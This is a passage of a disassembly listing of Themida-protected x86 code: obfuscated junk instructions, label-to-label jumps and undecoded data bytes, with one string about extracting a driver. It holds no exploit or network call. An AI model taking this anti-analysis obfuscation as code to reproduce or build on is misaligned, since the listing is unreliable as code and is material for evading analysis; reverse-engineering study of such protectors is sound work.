		dw 0EC81h
		dd 4, 0E9241C89h, 0FFFFB092h
; ---------------------------------------------------------------------------

loc_56BA64:				; CODE XREF: Themida_:0055E104j
		push	esi
		mov	esi, esp
		jmp	loc_56D461
; ---------------------------------------------------------------------------

loc_56BA6C:				; CODE XREF: Themida_:00556682j
		sub	ebx, 11F00578h
		xor	ebx, 4DC14FBh
		mov	edx, ebx
		pop	ebx
		mov	ebx, edx
		jmp	loc_56D505
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0ED810000h, 4, 8B242C87h, 3C892424h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		push	6664h
		mov	[esp], ebp
		mov	ebp, 4
		add	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_5636BA
; ---------------------------------------------------------------------------
		dw 8158h
		dd 3F6A1BF5h, 0A04EE935h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56BAE6:				; CODE XREF: Themida_:0056CA8Bj
		pop	edx
		pop	edx
		jmp	loc_55EC89
; ---------------------------------------------------------------------------

loc_56BAED:				; CODE XREF: Themida_:00559FC9j
		shr	edx, 1
		shl	edx, 1
		sub	edx, 4BB00883h
		shl	edx, 8
		push	ebx
		push	esi
		jmp	loc_562516
; ---------------------------------------------------------------------------

loc_56BB01:				; CODE XREF: Themida_:0055E491j
		jz	loc_56396C
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 12A24D9Eh
		xor	esi, 51B74DBBh
		xor	esi, 3A915448h
		sub	esi, 79845469h
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55C58D
; ---------------------------------------------------------------------------

loc_56BB40:				; CODE XREF: Themida_:0055D416j
		add	esp, 4
		shr	eax, 5
		and	eax, offset aErrorWhileExtr ; "Error while extraction the driver"
		xor	eax, offset byte_5320C1
		jmp	loc_556A6A
; ---------------------------------------------------------------------------

loc_56BB58:				; CODE XREF: Themida_:00566157j
		xor	cl, 31h
		sub	dh, cl
		pop	ecx
		jmp	loc_55DF24
; ---------------------------------------------------------------------------

loc_56BB63:				; CODE XREF: Themida_:0055B663j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55F779
; ---------------------------------------------------------------------------

loc_56BB6E:				; CODE XREF: Themida_:0056669Cj
		xor	edi, 0DE5C2F72h
		push	ecx
		mov	ecx, 54B63A93h
		add	edx, ecx
		jmp	loc_55E61F
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0F8E95758h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56BB8B:				; CODE XREF: Themida_:005696D9j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5651B4
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 94D5E955h, 34E9FFFFh,	81FFFEA7h, 96AD84C7h
		dd 5FFD01FFh, 0FF9C2CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56BBC1:				; CODE XREF: Themida_:00556E50j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	5478h
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_5615F9
; ---------------------------------------------------------------------------

loc_56BBE6:				; CODE XREF: Themida_:00557821j
		xchg	ebx, [esp]
		jmp	loc_55B2EA
; ---------------------------------------------------------------------------

loc_56BBEE:				; CODE XREF: Themida_:00567F35j
		sub	al, 9Eh
		jmp	loc_567F97
; ---------------------------------------------------------------------------

loc_56BBF5:				; CODE XREF: Themida_:005577D4j
					; Themida_:00564195j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		push	ecx
		pop	esi
		pop	ecx
		not	esi
		sub	esi, 389313D1h
		and	eax, esi
		mov	esi, [esp]
		push	eax
		push	esp
		pop	eax
		push	edx
		mov	edx, 6DEF0C6Fh
		xor	edx, 4EAC0335h
		shl	edx, 3
		jmp	loc_556767
; ---------------------------------------------------------------------------

loc_56BC27:				; CODE XREF: Themida_:0056843Fj
		pop	edi
		mov	ecx, ebp
		jmp	loc_560615
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FF9BC7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56BC35:				; CODE XREF: Themida_:005594C3j
		inc	ecx
		sub	ecx, 650D66FCh
		mov	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 17377A1Eh
		jnp	loc_55C90E
		sub	ebx, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 658072h
		xor	ebx, edi
		jmp	loc_560843
; ---------------------------------------------------------------------------

loc_56BC68:				; CODE XREF: Themida_:00565E33j
		push	eax
		mov	eax, esp
		push	2122h
		mov	[esp], ecx
		push	eax
		push	ebp
		mov	ebp, 7B164E12h
		xor	ebp, 7B164E16h
		mov	eax, ebp
		pop	ebp
		mov	ecx, eax
		jmp	loc_559545
; ---------------------------------------------------------------------------

loc_56BC8A:				; CODE XREF: Themida_:0055BE2Aj
		add	ecx, 681A26F0h
		and	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		push	7DBFh
		jmp	loc_562A03
; ---------------------------------------------------------------------------

loc_56BCA0:				; CODE XREF: Themida_:0055F853j
		push	edi
		mov	edi, 62136C94h
		add	ecx, 68040351h
		add	ecx, edi
		jmp	loc_55EF7B
; ---------------------------------------------------------------------------

loc_56BCB3:				; CODE XREF: Themida_:005647C9j
		shl	bl, 3
		add	bl, 1
		sub	bl, 81h
		add	al, 0BBh
		sub	al, bl
		jmp	loc_567A59
; ---------------------------------------------------------------------------

loc_56BCC5:				; CODE XREF: Themida_:0055FDDEj
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		mov	ecx, 783C127Ah
		mov	ebx, ecx
		jmp	loc_56A689
; ---------------------------------------------------------------------------

loc_56BCDC:				; CODE XREF: Themida_:0056D235j
		mov	edi, [esp]
		add	esp, 4
		mov	ebx, ebp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_565DC5
; ---------------------------------------------------------------------------
dword_56BCF8	dd 8B2434FFh, 89512404h, 2ABA52E1h, 817C0767h, 0E4620C2h
					; DATA XREF: Themida_:0055601Co
		dd 43B3E91Dh, 4058FFFFh, 0C042850Fh, 0E951FFFEh, 0FFFF31FCh
		dd 0F1E9F089h, 41FFFF91h
		db 5Fh
; ---------------------------------------------------------------------------

loc_56BD29:				; CODE XREF: Themida_:00561B54j
		mov	esi, [esp]
		add	esp, 4
		push	esi
		push	esp
		jmp	loc_55D9E5
; ---------------------------------------------------------------------------

loc_56BD36:				; CODE XREF: Themida_:00558685j
					; Themida_:005607C1j
		push	30F1h
		mov	[esp], edi
		mov	edi, 7A65EE50h
		jmp	loc_56501B
; ---------------------------------------------------------------------------

loc_56BD48:				; CODE XREF: Themida_:0055B44Dj
					; Themida_:0055B97Aj
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_560EB8
; ---------------------------------------------------------------------------

loc_56BD59:				; CODE XREF: Themida_:0055E3B6j
		shr	edx, 4
		push	edi
		mov	edi, 5FED1EC4h
		jmp	loc_558744
; ---------------------------------------------------------------------------
		db 57h
		dd 0B2225CBFh, 1D5AE96Dh, 0B252FFFFh, 0BEE28078h, 0FF238CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56BD7D:				; CODE XREF: Themida_:00566911j
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_56BD92:				; CODE XREF: Themida_:0056AC2Aj
		xor	edx, 5244384Dh
		add	edx, 0D850A86Bh
		xor	esi, edx
		pop	edx
		push	4CFAh
		mov	[esp], edi
		mov	edi, esi
		mov	ebp, edi
		mov	edi, [esp]
		jmp	loc_56B758
; ---------------------------------------------------------------------------

loc_56BDB5:				; CODE XREF: Themida_:00569677j
		add	eax, 70A2087Ch
		sub	eax, ebp
		sub	eax, 70A2087Ch
		push	ebx
		mov	ebx, 2BAA6119h
		sub	eax, 33FF376Ah
		sub	eax, ebx
		jmp	loc_55C832
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FEFBC584h, 0A1CB81FFh, 810D917Ch, 0BA4CD6EBh, 8CAFE94Ch
		dd 9B68FFFFh, 0E9000056h, 0FFFEB2B4h, 0EC815B66h, 2, 24348966h
		dd 3EC4BE66h, 1A940566h, 0FF707DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56BE0D:				; CODE XREF: Themida_:0056C9B2j
		jmp	loc_556DD4
; ---------------------------------------------------------------------------
		dd offset dword_457444+17D24h
		dw 8900h
		dd 9DBF243Ch, 3101ED13h, 0B8505FFEh, 0F19DBB24h, 0FF11CDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56BE2D:				; CODE XREF: Themida_:00566870j
		or	ebx, 42F4611Fh
		jno	loc_55A5EC
		jmp	loc_556527
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 58C68A24h
; ---------------------------------------------------------------------------

loc_56BE44:				; CODE XREF: Themida_:loc_56636Bj
		inc	ecx
		jz	loc_5585F1
		neg	ecx
		ja	loc_566B33
		push	edx
		mov	edx, 7DE00BCEh
		shl	edx, 7
		sub	edx, 28C21EC4h
		neg	edx
		not	edx
		sub	edx, 9ECFFF1Fh
		sub	ecx, edx
		pop	edx
		mov	edx, ecx
		jmp	loc_56672B
; ---------------------------------------------------------------------------

loc_56BE76:				; CODE XREF: Themida_:005578DFj
		sub	esi, 0FFFFFFFFh
		jmp	loc_561A00
; ---------------------------------------------------------------------------

loc_56BE7E:				; CODE XREF: Themida_:0055AC23j
		jp	loc_5597FA
		xchg	eax, ebx
		not	eax
		xchg	eax, ebx
		or	ebx, 3C031EECh
		push	edx

loc_56BE8F:				; CODE XREF: Themida_:00562F93j
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56C4C9
; ---------------------------------------------------------------------------

loc_56BEAC:				; CODE XREF: Themida_:005612F9j
		xchg	ebp, [esp]
		pop	esp
		shl	ebx, 1
		or	ebx, 4D36108Ch
		shl	ebx, 5
		xor	ebx, 0AB395793h
		sub	eax, ebx
		jmp	loc_55E0CC
; ---------------------------------------------------------------------------

loc_56BEC8:				; CODE XREF: Themida_:0056C37Cj
		sub	al, bl
		sub	al, 20h
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55A0E5
; ---------------------------------------------------------------------------

loc_56BEDD:				; CODE XREF: Themida_:00566133j
		push	edx
		jmp	loc_563C9E
; ---------------------------------------------------------------------------

loc_56BEE3:				; CODE XREF: Themida_:0055EFEDj
		sub	eax, ebx
		pop	ebx
		jmp	loc_55A630
; ---------------------------------------------------------------------------
		db 81h
		dd 456930E9h, 0BF575836h, 2, 335FF901h,	85E9240Ch
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56BF03:				; CODE XREF: Themida_:0055A7B8j
		sub	ah, dh
		jmp	loc_560178
; ---------------------------------------------------------------------------

loc_56BF0A:				; CODE XREF: Themida_:0055E4EEj
		push	ebp
		jmp	loc_55B991
; ---------------------------------------------------------------------------

loc_56BF10:				; CODE XREF: Themida_:0055A2EFj
		sub	esi, ebp
		jmp	loc_55B986
; ---------------------------------------------------------------------------

loc_56BF17:				; CODE XREF: Themida_:005615C6j
		add	ebx, 61CA1018h
		add	ebx, 16D24E0Ch
		push	ebp
		mov	ebp, 507E55D6h
		neg	ebp
		dec	ebp
		sub	ebp, 52D64D68h
		inc	ebp
		jmp	loc_55E2C1
; ---------------------------------------------------------------------------

loc_56BF38:				; CODE XREF: Themida_:0055A9D0j
		mov	[esp], ebx
		mov	ebx, 2
		jmp	loc_56690F
; ---------------------------------------------------------------------------

loc_56BF45:				; CODE XREF: Themida_:00561DF9j
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	eax, 3AFE7CF6h
		mov	ebx, 5B326883h
		xor	ebx, eax
		pop	eax
		add	ebx, 420D293Ah
		jmp	loc_560312
; ---------------------------------------------------------------------------
		dd 5C243C87h, 68243C89h, 3306h,	83242489h, 0E9042404h
		dd 0FFFFB620h
; ---------------------------------------------------------------------------

loc_56BF80:				; CODE XREF: Themida_:00556918j
		xor	edi, 2A423FD1h
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5654FC
; ---------------------------------------------------------------------------

loc_56BFA7:				; CODE XREF: Themida_:0055F1E4j
		mov	ch, 0C5h
		jmp	loc_563FEC
; ---------------------------------------------------------------------------

loc_56BFAE:				; CODE XREF: Themida_:005699D2j
		mov	edi, 0FFFFFFFFh
		sub	edx, edi
		pop	edi
		add	edx, 3792159Ch
		jmp	loc_569C9F
; ---------------------------------------------------------------------------
		db 0E9h, 6Dh, 0DCh
		db 0FEh, 0FFh
word_56BFC6	dw 8B66h		; DATA XREF: Themida_:00556058o
		dd 0EC83240Ch, 241C8904h, 0FF593AE9h, 1C281FFh,	50000000h
		dd 7B3397B8h, 58C229E1h, 0AE0E9h, 4D0F6800h, 1C890000h
		dd 7609E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56BFF6:				; CODE XREF: Themida_:0055C236j
		pop	esi
		add	ecx, esi
		jmp	loc_565AAD
; ---------------------------------------------------------------------------

loc_56BFFE:				; CODE XREF: Themida_:00557994j
		add	edx, eax
		add	edx, 442A1881h
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5610EB
; ---------------------------------------------------------------------------

loc_56C01A:				; CODE XREF: Themida_:0056390Bj
		mov	[esp], esi
		push	edi
		mov	edi, 4B5D433Bh
		push	1B73h
		mov	[esp], eax
		push	esi
		push	75756F3Bh
		pop	esi
		xor	esi, 30EF6E25h
		or	esi, 44220942h
		not	esi
		add	esi, 9B893F97h
		push	ecx
		mov	ecx, esi
		mov	eax, ecx
		pop	ecx
		pop	esi
		inc	eax
		jz	loc_5593D5
		xor	eax, 6E5B1E03h
		push	eax
		not	dword ptr [esp]
		jmp	loc_55DA11
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C3E4E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56C06A:				; CODE XREF: Themida_:005647A3j
		push	edi
		mov	edi, 2ADF4F1Ah
		mov	ebx, edi
		pop	edi
		mov	edi, 427D29A4h
		add	edi, ebx
		pop	ebx
		shl	edi, 2
		jmp	loc_5630B9
; ---------------------------------------------------------------------------

loc_56C083:				; CODE XREF: Themida_:00559804j
		push	eax
		mov	eax, 200F68A1h
		shr	eax, 3
		inc	eax
		shl	eax, 8
		jmp	loc_562115
; ---------------------------------------------------------------------------

loc_56C095:				; CODE XREF: Themida_:00569744j
		add	esp, 4
		push	3A97h
		jmp	loc_56B329
; ---------------------------------------------------------------------------

loc_56C0A2:				; CODE XREF: Themida_:005652EEj
		dec	ebx
		dec	ebx
		push	ebp
		jmp	loc_564DEE
; ---------------------------------------------------------------------------

loc_56C0AA:				; CODE XREF: Themida_:00558DC1j
		xor	al, 8Dh
		sub	dl, al
		pop	eax
		sub	dl, 68h
		jnz	loc_55A526
		add	dl, 5Bh
		jmp	loc_55F0D0
; ---------------------------------------------------------------------------
		dd 56BAC1C6h
; ---------------------------------------------------------------------------

loc_56C0C4:				; CODE XREF: Themida_:005574DBj
		mov	edx, 702550BDh
		add	edx, 3A4A190Ah
		jo	loc_562E9F
		push	eax
		mov	eax, 667CF69Dh
		sub	edx, eax
		pop	eax
		push	esi
		add	cl, 0FEh

loc_56C0E2:				; CODE XREF: Themida_:00557327j
		add	esi, 22515F7Bh
		and	ebp, esi
		pop	esi
		jmp	loc_56364D
; ---------------------------------------------------------------------------

loc_56C0F0:				; CODE XREF: Themida_:00561AD2j
		jmp	loc_557C55
; ---------------------------------------------------------------------------

loc_56C0F5:				; CODE XREF: Themida_:005647F7j
		pop	esi
		push	ecx
		push	ebp
		mov	ebp, 2
		push	ecx
		mov	ecx, esp
		jmp	loc_56D549
; ---------------------------------------------------------------------------

loc_56C105:				; CODE XREF: Themida_:00569C63j
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_56C10A:				; CODE XREF: Themida_:0055956Dj
		pop	esp
		mov	[esp], eax
		xor	[esp], ecx
		jmp	loc_56708A
; ---------------------------------------------------------------------------

loc_56C116:				; CODE XREF: Themida_:00557793j
		add	bh, 0D8h
		add	al, bh
		pop	ebx
		jmp	loc_567735
; ---------------------------------------------------------------------------
byte_56C121	db 66h,	8Bh, 4		; DATA XREF: Themida_:00556264o
		db '$hъ',7,0
		align 2
		dw 489h
		dd 53E08924h, 6A0AEEBBh, 840F4301h, 0FFFFA265h,	0B539E94Bh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56C142:				; CODE XREF: Themida_:0055C281j
		pop	ebx
		jmp	loc_565F27
; ---------------------------------------------------------------------------

loc_56C148:				; CODE XREF: Themida_:00557496j
		push	edx
		jmp	loc_56AE33
; ---------------------------------------------------------------------------

loc_56C14E:				; CODE XREF: Themida_:0056B61Dj
		pop	eax
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_56D2AE
; ---------------------------------------------------------------------------

loc_56C15D:				; CODE XREF: Themida_:0055AB83j
		mov	ecx, [esp]
		push	ecx
		jmp	loc_562CFC
; ---------------------------------------------------------------------------

loc_56C166:				; CODE XREF: Themida_:005661B2j
		pop	ecx
		add	ebx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_55AD56
; ---------------------------------------------------------------------------
		db 31h,	1Ch, 24h
		dd 8B241C33h, 0C1832424h, 240C3304h, 33240C31h,	0F5C240Ch
		dd 4D68C8BFh, 8900006Bh, 77E9240Ch
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C1A3:				; CODE XREF: Themida_:00562871j
		add	ebx, 2B607C5Dh
		jmp	loc_567ADA
; ---------------------------------------------------------------------------

loc_56C1AE:				; CODE XREF: Themida_:0055BB1Fj
					; Themida_:0056C5E4j
		push	edx
		mov	edx, 26E61BB6h
		push	0D919E44Ch
		pop	ebp
		add	ebp, edx
		pop	edx
		add	ebx, ebp
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	al, 1
		push	ebx
		mov	bh, al
		jmp	loc_55D49E
; ---------------------------------------------------------------------------

loc_56C1D6:				; CODE XREF: Themida_:00562FD3j
		mov	[esp], edi
		mov	edi, 4
		sub	eax, 28280FFDh
		add	eax, edi
		add	eax, 28280FFDh
		pop	edi
		xor	eax, [esp]
		jmp	loc_5591E3
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0F757E900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56C1FE:				; CODE XREF: Themida_:0055985Fj
		mov	esp, [esp]
		div	cx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55E69F
; ---------------------------------------------------------------------------

loc_56C20F:				; CODE XREF: Themida_:00562178j
		add	esi, eax
		jmp	loc_5617BE
; ---------------------------------------------------------------------------

loc_56C216:				; CODE XREF: Themida_:0056D6C2j
		add	cl, 0D2h
		pop	bx
		push	eax
		mov	al, cl
		mov	bl, al
		jmp	loc_564916
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0D104C483h, 1C683EEh, 0FF6598E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56C235:				; CODE XREF: Themida_:0056B6B6j
		xor	eax, edi
		mov	edi, [esp]
		jmp	loc_55ED6F
; ---------------------------------------------------------------------------

loc_56C23F:				; CODE XREF: Themida_:00568193j
		sub	ebx, 11373C83h
		sub	ebx, 73813DF1h
		jmp	loc_56B1E8
; ---------------------------------------------------------------------------

loc_56C250:				; CODE XREF: Themida_:00559CE2j
		sub	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_55BC73
; ---------------------------------------------------------------------------

loc_56C261:				; CODE XREF: Themida_:loc_55DFEDj
					; Themida_:0055EF17j
		sub	[esp+4], ebx
		pop	ebx
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5662E3
; ---------------------------------------------------------------------------
byte_56C275	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00556124o
		dd 1858669Dh, 0E99C2404h, 0FFFEA063h
; ---------------------------------------------------------------------------

loc_56C284:				; CODE XREF: Themida_:0056AFA9j
		jnz	loc_560360
		push	eax
		push	edi
		jmp	loc_55E1AB
; ---------------------------------------------------------------------------

loc_56C291:				; CODE XREF: Themida_:00564F1Ej
		inc	ebp
		or	ebp, 7C18454Ah
		dec	ebp
		add	ebp, 533D65E2h
		sub	eax, ebp
		pop	ebp
		sub	ebp, 75496132h
		add	ebp, eax
		add	ebp, 75496132h
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	fs:[edx], ax
		jmp	loc_5624B6
; ---------------------------------------------------------------------------
		dw 405h
		dd 83000000h, 48704E8h,	97E95C24h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C2DF:				; CODE XREF: Themida_:0056118Bj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		shl	ecx, 4
		neg	ecx
		jnz	loc_55A271
		push	2C8h
		mov	[esp], eax
		push	edx
		mov	edx, 3EBB3FECh
		push	edx

loc_56C300:				; CODE XREF: Themida_:0056B027j
		push	3938h
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_565E1F
; ---------------------------------------------------------------------------

loc_56C30F:				; CODE XREF: Themida_:0056AB76j
		add	al, cl
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	bl, al
		push	ecx
		mov	ecx, esp
		jmp	loc_55E591
; ---------------------------------------------------------------------------
		dw 0D5F7h
		dd 0FF3965E9h, 53E958FFh
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C32F:				; CODE XREF: Themida_:0055C32Bj
		pop	ebx
		mov	ch, dh
		pop	edx
		mov	al, ch
		pop	ecx
		xor	bl, al
		jmp	loc_559269
; ---------------------------------------------------------------------------

loc_56C33D:				; CODE XREF: Themida_:005591B7j
		xor	esi, 93F3DD7Bh
		jmp	loc_558510
; ---------------------------------------------------------------------------

loc_56C348:				; CODE XREF: Themida_:00559963j
		add	dword ptr [esp], 4
		pop	edx
		push	eax
		jmp	loc_56B54D
; ---------------------------------------------------------------------------

loc_56C353:				; CODE XREF: Themida_:00558968j
		pop	esp
		sub	edx, 4A8F28CDh
		jmp	loc_567082
; ---------------------------------------------------------------------------

loc_56C35F:				; CODE XREF: Themida_:0056166Ej
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_56C36B:				; CODE XREF: Themida_:00556D0Bj
					; Themida_:005666E9j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	bl, 3Eh
		add	al, 20h
		jmp	loc_56BEC8
; ---------------------------------------------------------------------------
		db 5, 2	dup(0FFh)
		dd 50E9FFFFh, 81FFFF45h, 4C6h, 0BE565700h, 7C565A78h, 77C653BFh
		dd 5EF7018Fh, 0B850D7F7h, 4B6E7808h, 0FFDD18E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56C3AD:				; CODE XREF: Themida_:0055D0A2j
		and	ecx, 434E63C9h
		neg	ecx
		dec	ecx
		shl	ecx, 5
		jmp	loc_55EEA8
; ---------------------------------------------------------------------------

loc_56C3BE:				; CODE XREF: Themida_:00559ECBj
		pop	edi
		push	ebp
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 7D171E42h
		xchg	edi, ebx
		not	edi
		xchg	edi, ebx
		jmp	loc_5594AC
; ---------------------------------------------------------------------------
		db 57h
		dd 9860DEBFh, 90F78132h, 0E95FC825h, 0FFFF1A8Ah
; ---------------------------------------------------------------------------

loc_56C3E4:				; CODE XREF: Themida_:00561231j
		pop	edx
		add	ebx, edi
		pop	edi
		mov	esi, [esp]
		add	esp, 4
		sub	edx, 17D105C7h
		add	edx, ebx
		push	esi
		jmp	loc_55BF6B
; ---------------------------------------------------------------------------

loc_56C3FC:				; CODE XREF: Themida_:0055996Dj
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_556E48
; ---------------------------------------------------------------------------

loc_56C409:				; CODE XREF: Themida_:0056ABF9j
		shl	ebx, 2
		or	ebx, 65C879CAh
		add	ebx, 92020006h
		jmp	loc_5585A0
; ---------------------------------------------------------------------------

loc_56C41D:				; CODE XREF: Themida_:00560AC9j
		xor	ebp, [esp]
		mov	esp, [esp]
		and	[esp], al
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_56C42C:				; CODE XREF: Themida_:0055F267j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		dec	esi
		jmp	loc_558300
; ---------------------------------------------------------------------------
		db 5Ch
		dd 54240489h, 0E924048Bh, 28Bh
; ---------------------------------------------------------------------------

loc_56C44C:				; CODE XREF: Themida_:0055B66Fj
		push	ebp
		mov	ebp, esp
		jmp	loc_56A6C3
; ---------------------------------------------------------------------------

loc_56C454:				; CODE XREF: Themida_:0056AA80j
		mov	ebp, esi
		pop	esi
		add	eax, ebp
		jmp	loc_568BA8
; ---------------------------------------------------------------------------

loc_56C45E:				; CODE XREF: Themida_:0055E7D4j
		add	esp, 4
		xor	ebp, 0B922C39Fh
		mov	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_566BB8
; ---------------------------------------------------------------------------

loc_56C481:				; CODE XREF: Themida_:00569393j
					; Themida_:0056CA13j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2E9272BBh
		or	edi, 26C37A81h
		js	loc_5577C3
		sub	edi, 1D3CFBD2h
		mov	ebx, edi
		pop	edi
		add	dword ptr [esp+4], 6B464DBDh
		sub	[esp+4], ebx
		sub	dword ptr [esp+4], 6B464DBDh
		mov	ebx, [esp]
		jmp	loc_559A1B
; ---------------------------------------------------------------------------

loc_56C4C3:				; CODE XREF: Themida_:0055DA73j
		xchg	edi, [esp]
		mov	esp, [esp]

loc_56C4C9:				; CODE XREF: Themida_:0056BEA7j
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 59032214h
		jmp	loc_559A7E
; ---------------------------------------------------------------------------

loc_56C4D7:				; CODE XREF: Themida_:0055BFB4j
		mov	dh, 6Bh
		and	dh, 2Bh
		and	dh, 0F0h
		sub	esp, 2
		mov	[esp], bx
		mov	bl, 46h
		xor	dh, bl
		pop	bx
		add	al, 4Dh
		sub	al, dh
		sub	al, 4Dh
		jmp	loc_55A44B
; ---------------------------------------------------------------------------
		db 68h
		dd 2A07h, 0BA241489h, 0C0A06D0h, 0FF6C0DE9h, 68EF81FFh
		dd 31241E02h, 8391E9FEh
		db 2 dup(0FFh)
word_56C516	dw 77FFh		; DATA XREF: Themida_:00556238o
		dd 11589D1Ch, 0E99C2404h, 0FFFE9DC3h
; ---------------------------------------------------------------------------

loc_56C524:				; CODE XREF: Themida_:loc_5691B0j
		sub	esp, 4
		mov	[esp], esi
		push	20054B8Fh
		mov	esi, [esp]
		jmp	loc_557A5C
; ---------------------------------------------------------------------------

loc_56C537:				; CODE XREF: Themida_:0056B23Ej
		and	ecx, 57BA3B63h
		ja	loc_56B4B9
		jmp	loc_560072
; ---------------------------------------------------------------------------
		dd 555AD001h, 5455522Ch, 4C18159h, 81000000h, 4C1h, 74FF5100h
		dd 0E9590424h, 0FFFF3D7Dh, 4C681h, 60E90000h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C573:				; CODE XREF: Themida_:0055EBF6j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	258h
		mov	[esp], edx
		push	432h
		mov	[esp], ebx
		push	4CDC6B64h
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		jmp	loc_566074
; ---------------------------------------------------------------------------

loc_56C59B:				; CODE XREF: Themida_:00558DE7j
		sub	dh, 42h
		mov	bh, dh
		pop	edx
		jmp	loc_565D38
; ---------------------------------------------------------------------------

loc_56C5A6:				; CODE XREF: Themida_:00560068j
		pop	ebx
		add	esp, 4
		push	58DAh
		mov	[esp], ebx
		push	edx
		mov	dl, 57h
		not	dl
		or	dl, 39h
		jmp	loc_56326C
; ---------------------------------------------------------------------------

loc_56C5BF:				; CODE XREF: Themida_:00559C78j
					; Themida_:00561472j
		add	cl, ah
		add	cl, 0E3h
		pop	ax
		push	edx
		mov	dh, 0F3h
		and	dh, 0D0h
		sub	dh, 46h
		sub	al, dh
		pop	edx
		add	al, cl
